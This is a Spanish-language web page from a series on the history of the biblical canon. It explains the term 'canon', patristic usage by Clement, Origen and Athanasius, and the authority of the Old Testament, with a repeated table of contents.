Estos aislados testimonios de la Biblia muestran que el Pentateuco era conocido desde el tiempo de Moisés hasta el período de los reyes de Judá. Sin embargo, hubo tiempos, especialmente durante el reinado de reyes impíos, cuando apenas si eran conocidas las Escrituras y, por así decirlo, tuvieron que ser redescubiertas.

Por ejemplo, esto sucedió en el tiempo del rey Josías, cuando durante la reparación del templo, fue encontrado “el libro de la ley” y leído, y sus requisitos fueron puestos en práctica una vez más (2 Reyes 22:8 a 23:24).

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 HISTORIA DEL CANON

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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El canon

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Gutenberg Bible of the New York Public Library, bought by James Lenox in 1847. Printed by Johannes Gutenberg, circa 1455.
Gutenberg Bible of the New York Public Library, bought by James Lenox in 1847. Printed by Johannes Gutenberg, circa 1455.

El canon

La palabra española “canon” proviene del término griego κανών [kanôn], que significa “caña”, “vara de medir”; “regla”, “principio”, “ley”, “norma”, “límite”En el sentido secundario, el canon es un conjunto de textos que “ha sido medido” y que ha sido tenido por digno de ser incluido en una colección de textos con autoridad vinculante para una comunidad religiosa. Por ello, el canon ha de relacionarse con el concepto de Escrituras, al igual que con el de inspiración. Texto canónico es aquel al que se le reconoce autoridad en una comunidad religiosa dada y al que se considera “inspirado” por Dios (2 Timoteo 3:16).

Sin embargo, el término “Escrituras” presenta un concepto más amplio que el más limitado de “canon”. Tenemos referencias a escritos inspirados, mencionados en el Antiguo Testamento y obra de la pluma de autores a quienes se consideraba inspirados, escritos que no se han incluido en el canon del AT: “los hechos del rey David, primeros y postreros, están escritos en el libro de las crónicas de Samuel vidente, en las crónicas del profeta Natán, y en las crónicas de Gad vidente“(1 Crónicas 29:29).

En el Antiguo Testamento existe una estrecha relación entre lo que Dios habla (cargado de autoridad) y la diseminación de esta revelación, ya sea en forma hablada o escrita (Éxodo 17:14; 24:4 ). Consignar las instrucciones recibidas de Dios era una consecuencia lógica, puesto que ello daba continuidad y una adhesión futura (Deuteronomio 31:9-13). Deuteronomio 31:26 indica la función de “testigo” de este “libro de la ley”. Además, en otros lugares del AT, el término hebreo עֵד [‘ed], “testigo”, “testimonio”, se relaciona a menudo con la verificación según una norma establecida (Deuteronomio 31:19, 21; Josué 22:27, 28, 34).

En tres ocasiones históricas específicas encontramos el concepto de una fuente escrita cargada de autoridad que tenía que ser seguida:

(1) Éxodo 24:7, en que el pueblo declara su compromiso con el libro de la ley revelado a Moisés en el Sinaí;

(2) 2 Reyes 23:3 y 2 Crónicas 34:32, en que el pueblo de Judá aceptó las palabras del libro de la ley encontrado en el templo por Hilcías en la época del rey Josías;

(3) Nehemías 8:9, en que Esdras leyó la ley a las personas que habían vuelto del exilio de Babilonia a Jerusalén. Mientras escuchaba, la gente lloraba, y Nehemías 8: 11 indica que habían comprendido el significado de la lectura y la responsabilidad que tenían.

Los tres acontecimientos tuvieron lugar con ocasión de una ceremonia relacionada con el establecimiento o la renovación de un pacto. Por lo tanto, parece válido llegar a la conclusión de que la relación de pacto entre Dios y su pueblo quedaba determinada por la adhesión de este a la “Palabra del Señor”.

Lógicamente, este concepto requería la existencia de una compilación llena de autoridad de esa “Palabra” del Señor. Es obvio que esta colección no era considerada una compilación humana, ni una colección basada en las preferencias de un dirigente religioso específico ni en una tradición religiosa. La compilación normativa del AT (y del NT) se basaba en la revelación de Dios de sí mismo.

El término κανών [kanôn] era perfectamente conocido y de uso frecuente en el griego helenístico. La palabra  era usada por los griegos para designar una regla investida de autoridad. De hecho, el mundo antiguo estaba lleno de cánones (o modelos o reglamentos) que guiaban los diferentes aspectos de la actividad humana.  En Gálatas 6: 16, Pablo utiliza el término en el sentido de una medida de la conducta cristiana que puede verificarse.¹ Sin embargo, en las Escrituras no se usa para designar el canon bíblico.

Al final del siglo primero de nuestra era, Clemente de Roma utiliza el término con referencia a la “tradición” cristiana. Escribió:Renunciemos a las consideraciones ociosas y vanas, y volvámonos a la norma [κανόνα {kanóna}] de nuestra santa vocación”“let us leave empty and vain thoughts, and come unto the glorious and venerable rule of our holy calling” (First Epistle Clement of Rome, chapter 7:2). Web: Early Christian Writigs.

Desde el siglo II en adelante, continuamente se recurrió a la regla de las enseñanzas cristianas con frases como “canon de la iglesia”, el “canon de la verdad”, o el “canon de la fe” (ver Brooke Foss Westcott, A general survey of the history of the canon of the New Testament during the first four centuries, pág. 543, 544).

Clemente de Alejandría se refiere al “canon de la verdad” (the canon of the truth) -κανόνα τῆς ἀληθείας [kanóna tês alêtheías]- (Stromata, [o Miscelaneas] 6. 15. 124.6 [pág. 222]); o The Stromata (Book VI), Chapter 15 [Philosophy and heresies, aids in discovering the truth <the canon of the truth>]; o aquí.

Orígenes (184/185-253/254), uno de los padres de la iglesia, usó por primera vez la palabra canon para designar la colección de los libros de la Biblia reconocida como una regla de fe y práctica. Dijo que “nadie debiera usar para probar la doctrina libros no incluidos entre las Escrituras canonizadas” (Commentary on the Gospel of Matthew, sec. 28).

Atanasio (293?-373 d. C.) luego llamó “canon” a toda la colección de libros sancionados por la iglesia, y éste es el significado con el cual se introdujo la palabra en el lenguaje de la iglesia.

A partir del siglo IV, κανών [kanôn] se usó también para la compilación de escritos sagrados tanto del Antiguo Testamento como del Nuevo Testamento. Suele atribuirse a Eusebio la iniciativa en el empleo del término con referencia a la colección vinculante de las Escrituras cristianas. En 363 d. C. el sínodo de Laodicea fue el primer concilio de la iglesia que empleó el término para distinguir entre libros “canónicos” y “no canónicos”.

Sin embargo, esto no significa que el concepto no existiese en la época del Nuevo Testamento. Jesús cumplía las normas del Antiguo Testamento (las fiestas [Juan 2:23; 4:45], la observancia del sábado, los ritos del templo [Lucas 21:1], el impuesto del templo [Mateo 17:24]), con lo que denotaba el carácter vinculante de las mismas. Se refiere a mandamientos, promesas u otros relatos del Antiguo Testamento en el contexto de un “escrito está” (Mateo 4:4, 7, 10; 11:10; Marcos 7:6; etc.), lo que siempre se presenta como argumento concluyente en sus discusiones.

También la iglesia primitiva parece reflejar esta actitud relativa a la autoridad vinculante del Antiguo Testamento. Los bereanos comprueban a diario las Escrituras del Antiguo Testamento para verificar las enseñanzas de Pablo (“Y éstos eran más nobles que los que estaban en Tesalónica, pues recibieron la palabra con toda solicitud, escudriñando cada día las Escrituras para ver si estas cosas eran así” – Hechos 17:11).

Pablo utiliza la solidez del Antiguo Testamento en sus argumentos en pro del apoyo financiero del ministerio incipiente ( 1 Corintios 9:9, 10, 14 ), en lo relativo a que la venganza es prerrogativa de Dios exclusivamente (Romanos 12:19, 20) y en el caso de la naturaleza universal del pecado (Romanos 3:10 ss). Pedro defiende un estilo de vida de santidad basándose en el Antiguo Testamento (1 Pedro 2:4-6).

Tal evidencia sugiere la existencia del concepto de un conjunto normativo de textos, utilizado para definir los límites de la forma legítima de vivir, tanto en el Antiguo Testamento como en el Nuevo Testamento. Con ello, tanto el AT como el NT demuestran el concepto de escritos canónicos, es decir, dotados de autoridad. Esta autoridad no es resultado de decisiones de individuos u organizaciones, sino que descansa en la autoridad de la propia Palabra escrita (o hablada), que estaba inspirada por Dios.

Sin embargo, no todos los escritos inspirados llegaron a incluirse en el canon. Es preciso entender este proceso de canonización, una determinación de qué incluir y qué excluir. Aunque puede que no sea muy fácil dar con respuestas concretas, un repaso histórico puede proporcionar los datos necesarios, los cuales, a su vez, precisan ser explicados a la luz de la reivindicación de autoridad que hacen las Escrituras, tomando como base la doctrina de la revelación.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Introducción

Bereshit

LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

Una comprensión correcta de la historia del canon del AT (y de toda la Biblia) no sólo es de gran interés para el lector de la Palabra de Dios sino que es necesaria para refutar las falsas denuncias de los que están influidos en su pensamiento por la alta crítica.

Como a veces se ha afirmado que la colección de los libros del Antiguo Testamento fue hecha poco antes del ministerio de Jesucristo, o en el concilio judío de Jamnia, después de la destrucción de Jerusalén por los romanos en el año 70 DC, es necesario conocer los hechos para ver la falacia de tales afirmaciones.

Para “oír” a Dios se necesita un medio. La copia fiel, una y otra vez, de la Palabra de Dios, ha sido la manera de transmitir el mensaje de Dios a lo largo de la historia. Puesto que la revelación-inspiración y las Escrituras tienen que ver con datos textuales, “oír” a Dios en las Escrituras requiere que el texto y sus límites queden establecidos y, luego, que se interprete. El canon bíblico no puede ser desligado de asuntos de autoridad y normatividad, las que, a su vez, tienen que ver con la comprensión a respecto de la revelación-inspiración. ¿Qué hace que un texto de la antigüedad tenga más autoridad que otro para una comunidad religiosa?

Parece evidente que los libros del Antiguo Testamento (y del Nuevo) se autenticaban a sí mismos. Su autoridad no se deriva del hecho de que alguien, ya fuese una persona importante o una autoridad eclesiástica, los incluyese en el canon; más bien, la comunidad religiosa reconoció que en ellos hubo la conducción de un Ser sobrenatural y que tenían autoridad debido a su origen divino y, en consecuencia, fueron canonizados (incluidos en el canon).

Pablo se refiere al Antiguo Testamento como “las santas Escrituras” (Romanos 1:2), “la palabra de Dios” (3:2) y las “Sagradas Escrituras” (2 Timoteo 3:15), títulos que expresan su origen y autoridad divinos.

Jesús y los apóstoles usaron la palabra “Escritura” o “Escrituras” sólo en referencia a un conjunto de escritos bien conocido y firmemente establecido. Como cuando Jesús dijo a los dirigentes judíos: “Escudriñad (o Escudriñáis) las Escrituras” (Juan 5:39), o como cuando Pablo discutió con los judíos en Tesalónica “declarando y exponiendo por medio de las Escrituras” (Hechos 17:2, 3), las Escrituras hebreas: la ley, los profetas y los escritos.

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LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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